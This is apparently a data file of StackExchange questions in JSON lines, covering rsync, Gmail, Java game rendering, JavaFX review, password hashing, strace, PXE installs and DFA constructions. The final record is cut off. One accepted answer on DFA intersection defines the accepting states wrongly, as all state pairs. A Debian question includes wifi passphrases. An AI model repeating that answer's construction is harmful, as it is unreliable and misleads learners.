{  "id": "_unix.100707"  , "question": "I've been using rsync for Android to backup my phone to a remote NTFS filesystem on a Linux system for a while.Recently, the HDD containing the NTFS filesystem has started to fail (or throw I/O Errors) so I took the opportunity to copy all the files onto a new HDD and new NTFS filesystem.  In this instance I used the FastCopy v2.11 tool for Windows.My problem is that when I do an rsync dry run I can see that it wants to recopy files which already exist on the remote rsync folder.  For example, when I run with -iv I get this kind of output:Which, as I understand it means that rsync wants to copy this file to the remote rsync because of a timestamp difference.The strange thing is that if I use Astro for Android to look at the local file properties, I can see that the file's size, modified time, and MD5 checksum are exactly the same as that of the remote file (using ls -l to check the modified time).Given that I recently copied the remote rsync files from an old NTFS filesystem, the remote file's ctime is different (using ls -lc).Does rsync look at the remote ctime, and if so is there any way I can use rsync, or ntfs-3g to get around this problem?"  , "title": "rsync vs mtime and ctime"  , "tags": "rsync;android;ntfs"  } 
{  "id": "_webapps.45785"  , "question": "I want to delete a date range of emails (from jan 2011-sept 2011). I do NOT want to delete all my emails, and I would rather not have to do it page by page. (100 conversations at a time) Is this possible?"  , "title": "How to delete a range of emails in Gmail"  , "tags": "gmail"  } 
{  "id": "_cstheory.17038"  , "question": "I became familiar with the BSS model of computation recently. I find it to be a better model of computation to study complexity of numerical analysis methods (cf. Complexity and Real Computation; Blum, Cucker, Shub, Smale.) Most of the existing PAC learning theory is concerned with standard computation model. I was wondering, are there any research or literature regarding PAC learning in the BSS model?The reason is that most of practical methods of computation over real numbers are based on numerical analysis which seem disconnected from the standard PAC learning developed in TCS community. Whereas the BSS model seems natural and well-suited for such studies.  "  , "title": "PAC learning and computation over real numbers"  , "tags": "cc.complexity theory;reference request;machine learning;lg.learning"  } 
{  "id": "_codereview.40430"  , "question": "My code snippet is like this:public static string EventId{    get { return HttpContext.Current.Request[eventId]; }}And I will call this property EventId whenever I need it. Is it a good practice?"  , "title": "Is it a good idea to keep Request querystring as a property?"  , "tags": "c#;asp.net"  , "accepted_answer": "Can you guarantee that eventId will never change? If so it might not be a bad idea, but this comes down to a few thingseventId never changes;how and where you're using it. It might be somewhat difficult for a new programmer in the project to locate and realize what it actually does (it returns the eventId for the current Http Request), solely based on the property name; andAre you sure that both HttpContext.Current and Current.Request are initialized before retrieving eventId. There is a change these will throw a null reference exception. It might be a very good idea to do a simple if != null check before invoking the Request property.If your code can accommodate for these points I don't see any inherently wrong with doing this."  } 
{  "id": "_unix.217181"  , "question": "I do have a small pc(router_office) that runs debian wheezy (7) and it gets internet from wlan0 and acts as router for eth0 (NAT). Everything works fine.My setup is pretty simple in /etc/network/interfaces:auto wlan0iface wlan0 inet static    address 192.168.2.49    netmask 255.255.255.0    broadcast 192.168.2.255gateway 192.168.2.1    wpa-ssid ATUX_wifi    wpa-psk passw0rd4!dns-nameservers 8.8.8.8auto eth0    iface eth0 inet static    address 192.168.1.10    netmask 255.255.255.0    dns-nameservers 8.8.8.8I have an second wifi that i could get connected to, which has SSID:be_sec_office with passwd:passwfooWhile in my laptop debian 7 with lxde in the connection manager if one wifi fails, then it connects automatically to the next one. How can I do that in my small pc(router_office), please?"  , "title": "debian wifi setup for failover"  , "tags": "debian;wifi"  } 
{  "id": "_unix.349314"  , "question": "A server with no operating system will be plugged into an Ethernet network using an Ethernet cable.  Can another machine on the network run an automated script that will remotely install CentOS 7 as the host OS on the new server?  If so, how do I set this up? Currently, I have to manually install the new CentOS 7 host using a DVD or USB copy of the CentOS 7 iso file.  This includes a GUI-based installation process that I would like to replace with a fully-automated process.  I know that some hardware manufacturer's have administration tools that accomplish this on hardware that they manufacture themselves, but I am looking for something that is agnostic to hardware-vendor."  , "title": "Automated install of remote Linux host OS"  , "tags": "centos;system installation"  , "accepted_answer": "The existing machine that the new machine will be connecting to will need to have a server which can provide PXE boot services. Your best source of information for CentOS would be the RHEL official documentation. PREPARING FOR A NETWORK INSTALLATIONhttps://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Installation_Guide/chap-installation-server-setup.htmlYou can also look into Kickstart Fileshttps://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/Installation_Guide/chap-kickstart-installations.html"  } 
{  "id": "_codereview.133238"  , "question": "I am in the process of making a game, and during this endeavour, I have come across problems maintaining a good frames per second while drawing my sprites. When I draw my background image, my frames drop from ~65 to ~30. My background image is simply a green tile 2000x2000 wide, constructed from 900 50*50 tiles.What can I do to increase my frames per second?My Main classimport java.awt.*;import java.awt.event.*;import java.awt.geom.AffineTransform;import java.awt.image.BufferedImage;import java.io.File;import java.io.IOException;import java.util.*;import javax.imageio.ImageIO;import javax.swing.*;import javax.swing.Timer;public class Main extends JPanel implements ActionListener, KeyListener{    static int WIDTH;    static int HEIGHT;    static int SCREENWIDTH;    static int SCREENHEIGHT;    static int GRAVITY = 2;    BufferedImage background;    Tower tower;    Entity debug = new Entity(0, 0, 0, 30, 30, 300);    ArrayList<Entity> entities = new ArrayList<Entity>();    Random random = new Random();    public Main(){        addKeyListener(this);        setFocusable(true);        setFocusTraversalKeysEnabled(false);        requestFocus();        Thread thread = new Thread(new Runnable() {            @Override            public void run() {                gameLoop();            }        });        thread.start();        tower = new Tower(WIDTH, HEIGHT, 10, 10, 7);        background = generateBackground();        entities.add(debug);    }    public void paintComponent(Graphics g){        super.paintComponent(g);        Graphics2D g2d = (Graphics2D) g;        AffineTransform plain = g2d.getTransform();        float xscale = (float)SCREENWIDTH/WIDTH;        float yscale = (float)SCREENHEIGHT/HEIGHT;        g2d.scale(xscale, yscale);        g2d.rotate(Math.toRadians(45), WIDTH/2, HEIGHT/2);        AffineTransform normal = g2d.getTransform();        g2d.drawImage(background, 0, 0, this);        for (int e=0;e<entities.size();e++){            Entity entity = entities.get(e);            if (entity.x + entity.w >= tower.x-tower.d && entity.x < tower.x + tower.w || entity.y + entity.h >= tower.y-tower.d && entity.y < tower.y + tower.h){                entity.draw(g2d, normal, this);            }        }        for (int i=0;i<tower.map.size();i++){            for (int j=0;j<tower.map.get(i).size();j++){                for (int k=0; k<tower.map.get(i).get(j).size();k++){                    Block renderBlock = tower.map.get(i).get(j).get(k);                     int x = renderBlock.x;int y = renderBlock.y;int w = renderBlock.w;int h = renderBlock.h;int z = renderBlock.z;int d = renderBlock.d;                    //block                    g2d.setTransform(normal);                    g2d.drawImage(renderBlock.top1, x-d-z,y-d-z, this);                    g2d.transform(AffineTransform.getShearInstance(1, 0));                    g2d.drawImage(renderBlock.side1, x-y-w, y-z-(d-h), this);                    g2d.setTransform(normal);                    g2d.transform(AffineTransform.getShearInstance(0, 1));                    g2d.drawImage(renderBlock.side2, x-z-(d-w), y-x-h, this);                }                   }        }        for (int e=0; e<entities.size();e++){            Entity entity = entities.get(e);            if (!(entity.x + entity.w >= tower.x-tower.d && entity.x < tower.x + tower.w) || !(entity.y + entity.h >= tower.y-tower.d && entity.y < tower.y + tower.h) || entity.z >= tower.d){                entity.draw(g2d, normal, this);            }        }        FPSticks++;        g2d.setTransform(normal);        g2d.drawLine(WIDTH/2, 0, WIDTH/2, HEIGHT);        g2d.drawLine(0, HEIGHT/2, WIDTH, HEIGHT/2);        g2d.setTransform(plain);        g2d.drawString(FPS:  + currentFPS +  | Logic Ticks:  + currentTPS, 0, 10);        g2d.drawLine(SCREENWIDTH/2, 0, SCREENWIDTH/2, SCREENHEIGHT);        g2d.drawLine(0, SCREENHEIGHT/2, SCREENWIDTH, SCREENHEIGHT/2);    }    public void update(){        if (debug.velx != 0 || debug.vely != 0 || debug.velz != 0){            //say(x:  + debug.x);            //say(y:  + debug.y);        }        debug.z-=GRAVITY;        doCollision();        debug.update();    }    public void doCollision(){        for (int e=0; e<entities.size();e++){            Entity entity = entities.get(e);            if (entity.x+entity.w>=tower.x && entity.x<=tower.x+tower.w && entity.y+entity.h>=tower.y && entity.y<=tower.y+tower.h){                int leftDistance = (entity.x+entity.w)-tower.x;                int rightDistance = entity.x-(tower.x+tower.w);                int topDistance = (entity.y+entity.h)-tower.y;                int bottomDistance = entity.y-(tower.y+tower.h);                int[] distanceArr = {leftDistance, rightDistance, topDistance, bottomDistance};                int[] smallestArr = findSmallest(distanceArr);                int index = smallestArr[1];                if (entity.z < tower.d){                    entity.z+=GRAVITY;                }                if (entity.z < tower.d){                    if (index == 0){                        entity.x-=entity.speed;                    } else if (index == 1){                        entity.x+=entity.speed;                    } else if (index == 2){                        entity.y-=entity.speed;                    } else if (index == 3){                        entity.y+=entity.speed;                    }                }            }        }    }    public BufferedImage generateBackground(){        Image grass1 = null;        File grass1f = new File(grass1.png);        File backgroundf = new File(background.png);        try {            grass1 = ImageIO.read(grass1f);        }catch (Exception e){        }        background = new BufferedImage(WIDTH, HEIGHT, BufferedImage.TYPE_INT_RGB);        Graphics g = background.getGraphics();        for (int h=0;h<HEIGHT/50;h++){            for (int w=0;w<WIDTH/50;w++){                g.drawImage(grass1, w*50, h*50, this);            }        }        try {            ImageIO.write(background, PNG, backgroundf);        } catch (IOException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        return background;    }    public int[] findSmallest(int[] arr){        int smallest = arr[0];        int index = 0;        for (int i=0; i<arr.length;i++){            if (arr[i]<0){                arr[i]*=-1;            }            if (arr[i]<smallest){                smallest=arr[i];                index = i;            }        }        int[] returnArr = {smallest, index};        return returnArr;           }    public static void main(String[] args){        Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();        SCREENWIDTH = (int) screenSize.getWidth();        SCREENHEIGHT = (int) screenSize.getHeight();        //SCREENWIDTH = 800;        //SCREENHEIGHT = 600;        WIDTH = 2000;        HEIGHT = 2000;        Main main = new Main();        JFrame frame = new JFrame();        frame.setTitle(360 ATTACK);        frame.setSize(SCREENWIDTH, SCREENHEIGHT);        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        frame.setUndecorated(true);        frame.setLocationRelativeTo(null);        frame.add(main);        frame.setVisible(true);    }    long targetFPS = 60;    long currentFPS = targetFPS;    long currentTPS = targetFPS;    long FPSticks = 0;    long TPSticks = 0;    long oldFPSTime = time();    long newFPSTime = oldFPSTime;    public void gameLoop(){        long previous = time();        long lag = 0;        while (true){            long current = time();            long elapsed = current-previous;            previous = current;            lag+= elapsed;            while (lag >= 1000/targetFPS){                update();                lag-= 1000/targetFPS;                TPSticks++;            }            repaint();            newFPSTime = time();            if (newFPSTime > oldFPSTime + 1000){                oldFPSTime = newFPSTime;                currentFPS = FPSticks;                currentTPS = TPSticks;                FPSticks = 0;                TPSticks = 0;            }        }    }    @Override    public void actionPerformed(ActionEvent e) {    }    public long time(){        return System.currentTimeMillis();    }    public void say(String str){        System.out.println(str);    }    @Override    public void keyPressed(KeyEvent e) {        int c = e.getKeyCode();        if (c == KeyEvent.VK_ESCAPE){            System.exit(0);        }        if (c == KeyEvent.VK_W){            debug.vely = -2;        }        if (c == KeyEvent.VK_S){            debug.vely = 2;        }        if (c == KeyEvent.VK_A){            debug.velx = -2;        }           if (c == KeyEvent.VK_D){            debug.velx = 2;        }        if (c == KeyEvent.VK_Q){            debug.velz = -2-GRAVITY;        }        if (c == KeyEvent.VK_E){            debug.velz = 2+GRAVITY;        }    }    @Override    public void keyReleased(KeyEvent e) {        int c = e.getKeyCode();        if (c == KeyEvent.VK_W){            debug.vely = 0;        }        if (c == KeyEvent.VK_S){            debug.vely = 0;        }        if (c == KeyEvent.VK_A){            debug.velx = 0;        }           if (c == KeyEvent.VK_D){            debug.velx = 0;        }        if (c == KeyEvent.VK_Q){            debug.velz = 0;        }        if (c == KeyEvent.VK_E){            debug.velz = 0;        }    }    @Override    public void keyTyped(KeyEvent e) {    }}Tower classimport java.util.ArrayList;public class Tower {    ArrayList<ArrayList<ArrayList<Block>>> map = new ArrayList<ArrayList<ArrayList<Block>>>();    int blockw = 30, blockh = 30, blockd = 30;    int WIDTH;int HEIGHT;    int x;int y;int z;int d;int w;int h;    public Tower(int WIDTH, int HEIGHT, int towerw, int towerh, int towerd){        this.WIDTH = WIDTH;        this.HEIGHT = HEIGHT;        ArrayList<Block> blocks;        ArrayList<ArrayList<Block>> height;        ArrayList<ArrayList<ArrayList<Block>>> depth;        x = ((WIDTH/2)-(towerw*blockw)/2)+(0);        y = ((HEIGHT/2)-(towerh*blockh)/2)+(0);        z = 0;        d = towerd*blockd;        w = towerw*blockw;        h = towerh*blockh;        depth = new ArrayList<ArrayList<ArrayList<Block>>>();        for (int d=0; d<towerd;d++){            height = new ArrayList<ArrayList<Block>>();            for (int h=0; h<towerh;h++){                blocks = new ArrayList<Block>();                for (int w=0; w<towerw;w++){                    blocks.add(new Block(x+(w*blockw), y+(h*blockh), (d*blockd), blockw, blockh, blockd));                }                height.add(blocks);            }            depth.add(height);        }        map = depth;    }}Entity classimport java.awt.Graphics2D;import java.awt.Image;import java.awt.geom.AffineTransform;import java.awt.geom.Path2D;import java.io.File;import java.io.IOException;import javax.imageio.ImageIO;public class Entity {    int velx = 0;    int vely = 0;    int velz = 0;    int speed = 2;    int x; int y; int z; int w; int h; int d;    Image side1;    Image side2;    Image top1;    public Entity(int x, int y, int z, int w, int h, int d){        this.x = x;        this.y = y;        this.z = z;        this.w = w;        this.h = h;        this.d = d;        assignImages();    }    private void assignImages(){        File fside1 = new File(side1.png);        File fside2 = new File(side2.png);        File ftop1 = new File(top1.png);        try {            side1 = (ImageIO.read(fside1)).getScaledInstance(w, d, Image.SCALE_DEFAULT);            side2 = (ImageIO.read(fside2)).getScaledInstance(d, h, Image.SCALE_DEFAULT);            top1 = (ImageIO.read(ftop1)).getScaledInstance(w, h, Image.SCALE_DEFAULT);        } catch (IOException e) {        }    }    public void update(){        this.x+=this.velx;        this.y+=this.vely;        this.z+=this.velz;        if (this.z < 0){            this.z=0;        }    }    public void draw(Graphics2D g2d, AffineTransform normal, Main observer){        // entity        g2d.setTransform(normal);        g2d.drawImage(this.top1,this.x-this.d-this.z,this.y-this.d-this.z,observer);        g2d.transform(AffineTransform.getShearInstance(1, 0));        g2d.drawImage(this.side1, this.x-this.y-this.w, this.y-this.z-(this.d-this.h), observer);               g2d.setTransform(normal);           g2d.transform(AffineTransform.getShearInstance(0, 1));          g2d.drawImage(this.side2, this.x-this.z-(this.d-this.w),this.y-this.x-this.h, observer);    }}Block classimport java.awt.Image;import java.awt.Shape;import java.awt.geom.*;import java.awt.image.BufferedImage;import java.io.File;import java.io.IOException;import javax.imageio.ImageIO;public class Block {    Image side1;    Image side2;    Image top1;    int x,y,z,w,h,d;    public Block(int x, int y, int z, int w, int h, int d){        this.x = x;        this.y = y;        this.z = z;        this.w = w;        this.h = h;        this.d = d;        assignImages();    }    private void assignImages(){        File fside1 = new File(side1.png);        File fside2 = new File(side2.png);        File ftop1 = new File(top1.png);        try {            side1 = ImageIO.read(fside1);            side2 = ImageIO.read(fside2);            top1 = ImageIO.read(ftop1);        } catch (IOException e) {        }    }}Imagestop1, side2, side1, are all this image:and grass1 is this image:If you need any of the related classes, Just comment and I can add them. I'm not sure if they are necessary though to post."  , "title": "Unexpected Low FPS while drawing images"  , "tags": "java;performance;game;graphics"  , "accepted_answer": "As strange as it sounds, the performance drain really is on this one line of code right here:g2d.drawImage(background, 0, 0, this);The reason is that background is a rather large image, and the g2d is performing a scale and a rotate every time. Enabling OpenGL via -Dsun.java2d.opengl=True as suggested here might help, but I haven't been able to enable it on my machine.Do note as well that it may be worth just using an existing game engine.That said, the solution to the problem is to take the work out of the paintComponent method. If you never will view the background from a different angle, just draw it at this tilt to begin with. Otherwise, you need yet another thread. So there would be three threads:The GUI threadYour game loop threadThe rendering threadIn a proof-of-concept style, I added another volatile BufferedImage drawnBackground as a field, and I added this to the end of your Main constructor:new Thread(() -> {    while(true) {        if (background == null) continue;        // A new BufferedImage to avoid concurrency issues; in this way,        // the reference to this.drawnBackground is always a valid image        // to be drawn. If we reassign this.drawnBackground = drawnBackground        // while paintComponent() is running, that's fine, as it will simply        // draw the old image.        // It's also important to note that assignment to references        // is an atomic operation, but we still have to declare the field        // as volatile        BufferedImage drawnBackground = new BufferedImage(background.getWidth(), background.getHeight(), background.getType());        Graphics2D g2d = (Graphics2D) drawnBackground.getGraphics();        g2d.setColor(Color.WHITE);        g2d.fillRect(0, 0, background.getWidth(), background.getHeight());        float xscale = (float) SCREENWIDTH / WIDTH;        float yscale = (float) SCREENHEIGHT / HEIGHT;        g2d.scale(xscale, yscale);        g2d.rotate(Math.toRadians(45), WIDTH / 2, HEIGHT / 2);        g2d.drawImage(background, 0, 0, this);        this.drawnBackground = drawnBackground;    }}).start();The paintComponent method changes to look like so:public void paintComponent(Graphics g){    super.paintComponent(g);    Graphics2D g2d = (Graphics2D) g;    AffineTransform plain = g2d.getTransform();    float xscale = (float)SCREENWIDTH/WIDTH;    float yscale = (float)SCREENHEIGHT/HEIGHT;    g2d.drawImage(drawnBackground, 0, 0, this);    g2d.scale(xscale, yscale);    g2d.rotate(Math.toRadians(45), WIDTH/2, HEIGHT/2);    AffineTransform normal = g2d.getTransform();    // g2d.drawImage(background, 0, 0, this);    // rest of codeIn this way, we move the expensive operation of rendering the image to another thread. Note that that other thread will still be getting around 30 fps instead of 60 fps, but the game itself will be running at a better framerate. In other words, the background image will be updating at closer to 30 fps, while everything else will be faster."  } 
{  "id": "_softwareengineering.74848"  , "question": "I'm a developer who mostly does web stuff in ruby and C#.I'd like to start tinkering with iOS and Mac development.Over the last few month i've been trying to get fluent in one set of key bindings (vi / vim because it just feels right).I have the awesome ViEmu installed for visual studio on windows which gives me a ton of the vim awesomeness side by side with visual studio power toys.Is there anything like this for xcode?I know I could set up MacVim as the default editor, but I'm not too interested in this as it means losing all of xcode's cocoa awareness.The other option of course would be to go for the lowest common denominator and switch to emacs (as the mac keybindings are based massively on emacs) but let's not think about that for too long. :P"  , "title": "Vim key mappings / plugin XCode?"  , "tags": "xcode;mac;vim"  } 
{  "id": "_cs.68422"  , "question": "Forgive me for my brief knowledge on hash functions as I am not from a computer science background, however I am researching password security for my thesis and have been looking into hashing functions for password security. I understand that a password goes through a hashing function and is stored in a separate database, at which point if the user enters the same password at a later date, that entry is then ran through the same hashing function and checked the output is the same. My question is, if lots of companies are being breached and passwords have been found out using the algorithms, would it be more secure to then use a second hashing function on the already hashed password and store all the password entries 'double hashed'?"  , "title": "Using two hash functions for increased password security?"  , "tags": "security;hashing"  , "accepted_answer": "Current best practice goes like this: Step 1, the password is combined with a random sequence of characters (the salt), which means that even if two users use the same password, the combination salt + password will be unique for each user, and cracking one combination salt + password does not help at all cracking anyone else's password. Step 2, the combination salt + password is hashed using a cryptographic hashing function, but not once, not twice, but a gazillion times so that calculating the hashed password takes a significant amount of time. Step 3, the salt is stored, but the hashed password is not actually stored, but used to encrypt a master password for that user which is required to decrypt that user's information. The hashed password is not stored, so someone who manages to steal the complete information on the server still cannot access any user's data. To steal one user's data, an attacker has to guess passwords. Turning each password into a hashcode takes significant amounts of time, so cracking just one good (hard to guess) password should be very hard to crack. And that's just one password. "  } 
{  "id": "_unix.242197"  , "question": "Is there a portable way to do this?On Linux, I can use ps a -Nbut this option isn't available on other (POSIX) systems.Of course I can use grep '^?' with, say, -o tty,... but is there something more reliable?"  , "title": "List all processes without controlling terminal (only)?"  , "tags": "ps;controlling terminal"  } 
{  "id": "_hardwarecs.1935"  , "question": "I'm reaching the limits of my old Notebook, since it only has a GeForce 630M and I want to use it for a bit of gaming, too. It's kinda  sad, because the i7-2670QM still does the job quite well...I'm thinking about buying a new one, but I'd like to have a nice graphics card that does it's job without beeing too expensive. So what is the graphics card (I prefer Nvidia, but if AMD has something way better I would also consider using it) with the best Price-performance ratio?Requirements:Laptop GPU available in normal sized Notebooks (I don't want a monster, it should still be portable)at least 1 HDMI outputat least 2 outputs in sum, preferable VGA able to be used for games on the market right now (not high settings, just playable - my current 630M doesn't even manage 5 FPS for Rise of the Tomb Raider on lowest settings)I don't want to spend mroe than 1k for the full system (or rather I can't afford T.T), and since I also want an i7 and a good amount of RAM, the GPU itself mustn't be too expensive If you have suggestions for a full system, this would be nice, too, but the question aims to give me a overview of Graphic Cards which would meet my requirements. Afterwards I'll search for a new Notebook with one of these built in.I just had a quick look into the comparison site suggested by Adrian, an found the GeForce GTX 775M - this would be, from the performance aspect, top notch. I don'T even know how the price range is, and if this is available in non-gaming-notebooks (meaning normal sized cases), but anyway - this performance would be awesome. For the lower bound I'd name the GeForce GTX 580M - it shouldn't be much less performance than this, else I don't think buying a new notebook is really worth it."  , "title": "Laptop GPU by Price-performance"  , "tags": "laptop;gaming;graphics cards"  } 
{  "id": "_unix.33435"  , "question": "I cannot remember this command (and googling was unsuccessful), but there is a way to get the list of actions performed by a process, that outputs something like  # listprocessactions -p 1234  0.321 Open A /var/log/nginx/supersite.log  0.322 Write to /var/log/nginx/supersite.log  0.401 Close /var/log/nginx/supersite.log  0.555 Opens TCP connection with slashdot.org  ...I'm interested in the files aspect (open / RW files).The question is what is that command (and if possible in which package on deb / ubuntu)"  , "title": "Command to list in real time all the actions of a process"  , "tags": "process;files;real time"  , "accepted_answer": "You want strace(1) for that; it lists all the system calls made.  See the manual page for details on various ways to present the trace data.You might also find ltrace(1) useful if you want inter-library calls rather than system calls traced."  } 
{  "id": "_codereview.79014"  , "question": "This question is a follow-up to:High-Low Guessing GameNow with shiny new graphics in JavaFX.You now have the awesome ability to choose which numbers to guess between.Now with Git Repository!Main.javapackage sample;import javafx.application.Application;import javafx.fxml.FXMLLoader;import javafx.scene.Parent;import javafx.scene.Scene;import javafx.stage.Stage;public class Main extends Application {    @Override public void start(Stage stage) throws Exception {        Parent root = FXMLLoader.load(getClass().getResource(highlow_view.fxml));        Scene scene = new Scene(root);        stage.setScene(scene);        stage.show();    }    public static void main(String[] args) {        launch(args);    }}Controller.javapackage sample;import javafx.event.ActionEvent;import javafx.fxml.FXML;import javafx.scene.control.Label;import javafx.scene.control.TextField;import javafx.scene.input.KeyCode;import javafx.scene.input.KeyEvent;import java.util.Random;public class Controller {    @FXML private Label guessLabel;    @FXML private Label numberGuessLabel;    @FXML private TextField txtAddItem;    @FXML private TextField fromAddItem;    @FXML private TextField toAddItem;    @FXML private Label systemOut;    private static Random rand = new Random();    private boolean isInt;    public int randomNumberFrom = 1;    public int randomNumberTo = 10;    private int numberGuess = 0;    private int theRandomNumber = randomInt(randomNumberFrom, randomNumberTo);    public int getTheRandomNumber() {        return theRandomNumber;    }    public static int randomInt(int from, int to) {        return rand.nextInt(to - from + 1) + from;    }    public void countGuess(int numberIn) {        numberGuess++;        numberGuessLabel.setText(Guess counter: + numberGuess);        if (numberIn < theRandomNumber) {            systemOut.setText(Too low);        } else if (numberIn > theRandomNumber) {            systemOut.setText(Too high);        } else {            systemOut.setText(Congratz you were right!);        }    }    public int textInt(TextField textField) {        if(!textField.getText().matches(^\\\\d+$)) {            systemOut.setText(Pleas enter a number);            isInt = false;            return 0;        }else{            isInt = true;            return Integer.parseInt(textField.getText());        }    }    public void guessing(int numberIn){        if (isInt == true) {            if (numberIn < randomNumberFrom || numberIn > randomNumberTo) {                systemOut.setText(Pleas enter number:  + randomNumberFrom + - + randomNumberTo);            } else {                countGuess(numberIn);            }        }    }    @FXML public void getNewNumber(ActionEvent action){        int fromInt = textInt(fromAddItem);        if (isInt == true) {            int toInt = textInt(toAddItem);            if (isInt == true && fromInt < toInt) {                numberGuess = 0;                numberGuessLabel.setText(Guess counter: + numberGuess);                theRandomNumber = randomInt(fromInt, toInt);                randomNumberFrom = fromInt;                randomNumberTo = toInt;                guessLabel.setText(Guess a number: + fromInt + - + toInt);            } else{                systemOut.setText(The second number must be bigger then the first);            }        }    }    @FXML private void handleEnterPressed(KeyEvent event) {        if (event.getCode() == KeyCode.ENTER) {            guessing(textInt(txtAddItem));        }    }    @FXML private void guessButton(ActionEvent action){        guessing(textInt(txtAddItem));    }}highlow_view.fxml<?xml version=1.0 encoding=UTF-8?><?import javafx.scene.control.*?><?import javafx.scene.layout.*?><?import javafx.scene.text.*?><AnchorPane id=AnchorPane prefHeight=200.0 prefWidth=500.0 xmlns:fx=http://javafx.com/fxml fx:controller=sample.Controller><children>    <VBox fx:id=VBoxMain alignment=TOP_CENTER prefHeight=500.0 prefWidth=400.0 AnchorPane.bottomAnchor=40.0 AnchorPane.leftAnchor=100.0 AnchorPane.rightAnchor=100.0 AnchorPane.topAnchor=20.0>        <children>            <Label fx:id=systemOut text=Hello :D alignment=CENTER prefHeight=200.0>                <font>                    <Font name=System Bold size=18.0 />                </font>            </Label>            <Label  fx:id=numberGuessLabel text=Guess counter:0 />            <Label  fx:id=guessLabel text=Guess a number:1-10 />            <TextField fx:id=txtAddItem  prefWidth=200.0 onKeyPressed=#handleEnterPressed />            <HBox id=HBox fx:id=HBox4Btns alignment=CENTER spacing=5.0>                <children>                    <Button mnemonicParsing=false onAction=#guessButton text=Guess/>                    <Button mnemonicParsing=false onAction=#getNewNumber text=New Number/>                    <TextField fx:id=fromAddItem  prefWidth=50.0/>                    <Label  fx:id=fromToo text=- />                    <TextField fx:id=toAddItem  prefWidth=50.0/>                </children>            </HBox>        </children>    </VBox></children></AnchorPane>"  , "title": "Numbers are high, numbers are low. Will you guess the right answer, though?"  , "tags": "java;beginner;number guessing game;javafx"  , "accepted_answer": "private static Random rand = new Random();This variable can/should be finalpublic int randomNumberFrom = 1;public int randomNumberTo = 10;In Java it is better practice, if you want to allow access to your variables, to make getters and setters and make the variables themselves private.private int randomNumberFrom = 1;private int randomNumberTo = 10;public int getRandomNumberFrom() {    return this.randomNumberFrom;}public int getRandomNumberTo() {    return this.randomNumberTo;}In this case, since these values are so tightly tied together, you could have one method to set both values:public void setRandomRange(int from, int to) {    this.randomNumberFrom = from;    this.randomNumberTo = to;}Ideally, you should also do some validation in this method to ensure that to > from. Like this:public void setRandomRange(int from, int to) throws IllegalArgumentException {    if (to <= from) {        throw new IllegalArgumentException(to must be greater than from);    }    this.randomNumberFrom = from;    this.randomNumberTo = to;}numberGuess++;numberGuessLabel.setText(Guess counter: + numberGuess);This variable numberGuess has a bad name. It's not until I read this code that I realize ok, it counts the number of guesses. It could just as well have been the number you guessed at. guessCount would be a better name.Your textInt method smells because it modifies the isInt field. It also sets the error message in case it's not a valid number. And it also returns an int.public int textInt(TextField textField) {    if(!textField.getText().matches(^\\\\d+$)) {        systemOut.setText(Pleas enter a number);        isInt = false;        return 0;    }else{        isInt = true;        return Integer.parseInt(textField.getText());    }}One small improvement, because you are not using return values less than 0, is to return -1 as a special case to indicate that it is not a valid integer. This would get rid of the isInt variable as a startpublic int textInt(TextField textField) {    if(!textField.getText().matches(^\\\\d+$)) {        systemOut.setText(Pleas enter a number);        return -1;    }else{        return Integer.parseInt(textField.getText());    }}Then you just check for value >= 0 instead of isInt.However, it might be better to use the fact that Integer.parseInt throws a NumberFormatException to do this. I think it might be best if you use the following approach, without using it as a method:try {    int value = Integer.parseInt(textField.getText());    // do something if value is integer}catch (NumberFormatException ex) {    systemOut.setText(Please enter a number);}    @FXML private void handleEnterPressed(KeyEvent event) {        if (event.getCode() == KeyCode.ENTER) {            guessing(textInt(txtAddItem));        }    }    @FXML private void guessButton(ActionEvent action){        guessing(textInt(txtAddItem));    }In this case you can have one method call the other one:    @FXML private void handleEnterPressed(KeyEvent event) {        if (event.getCode() == KeyCode.ENTER) {            guessButton(null);        }    }"  } 
{  "id": "_cogsci.4659"  , "question": "Successful leadership appears to depend on the personality of the leader. Judge et al. (2002) found the following correlations with the big five personality factors in a meta-analysis:Personality trait       Correlation with leadership successNeuroticism           -.24Extraversion           .31Openness               .24Agreeableness          .08Conscientiousness      .28Kock (1965) found the following correlations between the needs for achievement, power, and affiliation, and economic success:                         Achievment   Power   Affiliation   Ach+Pow-AffGross Production Value   .39          .49*    -.61**        .67**Number of Employees      .41          .42     -.62**        .66**Turnover                 .46*         .41     -.53*         .60*Gross Investment         .63*        -.06      .20          .45*Profit                   .27          .01     -.30          .34These two studies found that leaders must not be neurotic, need not be agreeable, and must not have a need for affiliation.But personality influences not only a person's workplace behavior and success, but also his choice of a romantic partner and how he shapes his relationships to the members of his family. I wonder therefore:Are there studies on the family situations of leaders, how they relate to their spouses and children, and how they influence their children's development?Sources:Judge, T. A., Bono, J. E., Ilies, R., & Gerhardt, M. W. (2002). Personality and leadership: A qualitativ and quantitative review. Journal of Applied Psychology, 87, 765-780. doi:10.1037/0021-9010.87.4.765 Available online at http://workforceuniverse.com/wp-content/uploads/2011/05/Judge_2002.pdfKock, S. W. (1965). Management and motivation. Summary of a doctoral thesis presented at the Swedish School of Economics, Helsingfors, Finland."  , "title": "How does the personality of a successful leader influence the development of his children?"  , "tags": "developmental psychology;personality;io psychology;parenting;leadership"  } 
{  "id": "_cs.65045"  , "question": "It seems to me that in order to construct the union and the product of two DFA we use basically the same method. The difference is that when we make the accepting states for the resulting DFA. Suppose $A_{1}$ an DFA with $F_{1}$ as an accepting state, and $A_{2}$  an DFA with $F_{2}$ as an accepting state. In the case of an union of $A_{1}$ and $A_{2}$, the accepting states have either $F_{1}$ or $F_{2}$ or both, and in the case of a product, the accepted state is {$F_{1},F_{2}$}. Am I correct?"  , "title": "Is the difference between between an union and a product of two DFA lies in their accepting states?"  , "tags": "finite automata"  , "accepted_answer": "Please use the terminology correctly. The union operation is an operation defined on sets. It does not make sense to speak of the union of two automata. The product construction can be used to give a constructive proof that the class of regular languages is closed under union. But with minor modifications, the product construction can also be used to show that the class of regular languages is closed under intersection as well as under set difference.Assume that we have two DFA $M_1 = (Q_1,\\delta_1,\\Sigma,q^1_0,F_1)$ and $M_1 = (Q_2,\\delta_2,\\Sigma,q^2_0,F_2)$. In the case of intersection, define the set of accepting states as$$F = \\{ (q_1,q_2) \\mid q_1 \\in Q_1 \\wedge q_2 \\in Q_2 \\} $$For set difference, define the set of 